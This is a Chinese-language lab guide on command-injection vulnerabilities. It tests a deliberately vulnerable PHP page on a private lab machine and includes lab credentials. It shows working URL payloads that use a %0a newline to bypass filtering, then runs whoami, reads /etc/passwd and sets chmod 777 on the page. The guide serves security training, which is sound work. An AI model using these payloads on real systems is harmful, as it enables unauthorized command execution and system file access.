实验目的
了解命令执行漏洞的危害
实验原理
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
实验内容
没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。
实验环境描述
1、靶机 用户名密码为:root toor
2、渗透机 用户名密码为:admin 123456
实验步骤
1、在靶机上输入ifconfig查看靶机地址。(请自行修改IP地址,确保实验可以做通)
2、在攻击机xp的浏览器中输入靶机地址192.168.10.122/index.php
3、找到 Commands injection ,点击Example2进入命令注入环境第一的实例
4、在攻击机浏览器中输http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1 && pwd出现错误页面,将&&进行编码后,仍然没有什么变化
5、在攻击机浏览器中输http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1%0a pwd返回了当前路径
漏洞利用
1、http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1%0a whoami进行whoami查询
2、http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1%0a net start,通过命令注入攻击查看web服务器开启了哪些服务
3、http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1%0a cat /etc/passwd,显示当前有哪些用户
)
4、http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1%0a ls -l查看当前目录下所有可见文件的详细属性
5、http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1%0a chmod 777 example2.php ,修改example2.php文件的权限为文件所在的组和其他用户是可读可写可执行
6、http://192.168.10.122/commandexec/example2.php?ip=127.0.0.1%0a ls -l查看当前目录下所有可见文件的详细属性,example2.php的文件权限已经被修改了